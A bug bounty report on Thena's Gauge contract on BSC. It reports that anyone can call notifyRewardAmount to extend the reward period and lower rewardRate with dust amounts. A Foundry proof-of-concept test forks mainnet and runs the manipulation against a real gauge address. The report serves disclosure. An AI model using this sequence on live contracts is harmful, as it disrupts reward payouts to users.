# Can manipulate the mappings `rewardRate`, `periodFinish` and the function `left`

- Protocol: [Thena](https://thena.fi)
- Severity: Low

## Target(s)

- [BribeFactoryV2](https://bscscan.com/address/0x4ffcf83feae8a44f61575722aefc2706e73c7770)

## Impact(s)

- Smart contract fails to deliver promised returns, but doesnâ€™t lose value

## Bug Description

Some time ago I reported this bug getting a negative response Since they fixed it in the new contracts, I report it again, changing the severity

In the **Gauge** contract the function `notifyRewardAmount` could be call by anyone This function can called to increase `periodFinish[token]` by `DURATION = 7days`, modified the `rewardRate[token]` and then modifies the function `left`

This attack could repeated periodically and since this function can called with a low token amount and low transaction fee(BSC) this not disincentivize the attacker

### Impact Details

Anyone can call the function `notifyRewardAmount` and manipulate the mappings `rewardRate`, periodFinish and the function `left`

### Recommendation

Add a caller check to restrict the possible attacker Only the authorized access can update reward

### References

- [Curve doc](https://curve.readthedocs.io/dao-gauges-sidechain.html#rewardsonlygauge)

## Proof of Concept

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

interface Gauge {
    function rewards(uint) external view returns (address);
    function periodFinish(address) external view returns (uint);
    function rewardRate(address) external view returns (uint);
    function left(address token) external view returns (uint);

    function notifyRewardAmount(address token, uint amount) external;
}

interface IThena {
    function minter() external view returns (address);

    function approve(address spender, uint value) external returns (bool);
    function mint(address account, uint amount) external;
}

contract ThenaTest is Test {
    function testManipulated() public {
        // Set up
        vm.selectFork(vm.createFork('https://bsc-dataseed1.ninicoin.io'));

        Gauge gauge = Gauge(0x808cbA028c0c39c074E1eEE3E162545ADFC3256F);
        IThena THE = IThena(gauge.rewards(2));
        address attacker = address(1);

        // Get tokens and approve
        vm.prank(THE.minter());
        THE.mint(attacker, 7 days);
        vm.prank(attacker);
        THE.approve(address(gauge), 7 days);

        // Start

        // Save before values
        uint256 rewardRate0 = gauge.rewardRate(address(THE));
        uint256 left0 = gauge.left(address(THE));
        uint256 periodFinish0 = gauge.periodFinish(address(THE));

        // Manipulate
        vm.prank(attacker);
        gauge.notifyRewardAmount(
            address(THE),
            7 days // dust
        );

        // Save after values
        uint256 rewardRate1 = gauge.rewardRate(address(THE));
        uint256 left1 = gauge.left(address(THE));
        uint256 periodFinish1 = gauge.periodFinish(address(THE));

        // Log
        console.log("Values before manipulation:");
        console.log("\tleft:", left0);
        console.log("\trewardRate:", rewardRate0);
        console.log("\tperiodFinish:", periodFinish0);

        console.log();

        console.log("Values after manipulation:");
        console.log("\tleft:", left1);
        console.log("\trewardRate:", rewardRate1);
        console.log("\tperiodFinish:", periodFinish1);
    }
}
```

## Info after reported

Closing this report as it is a duplicate report of #######.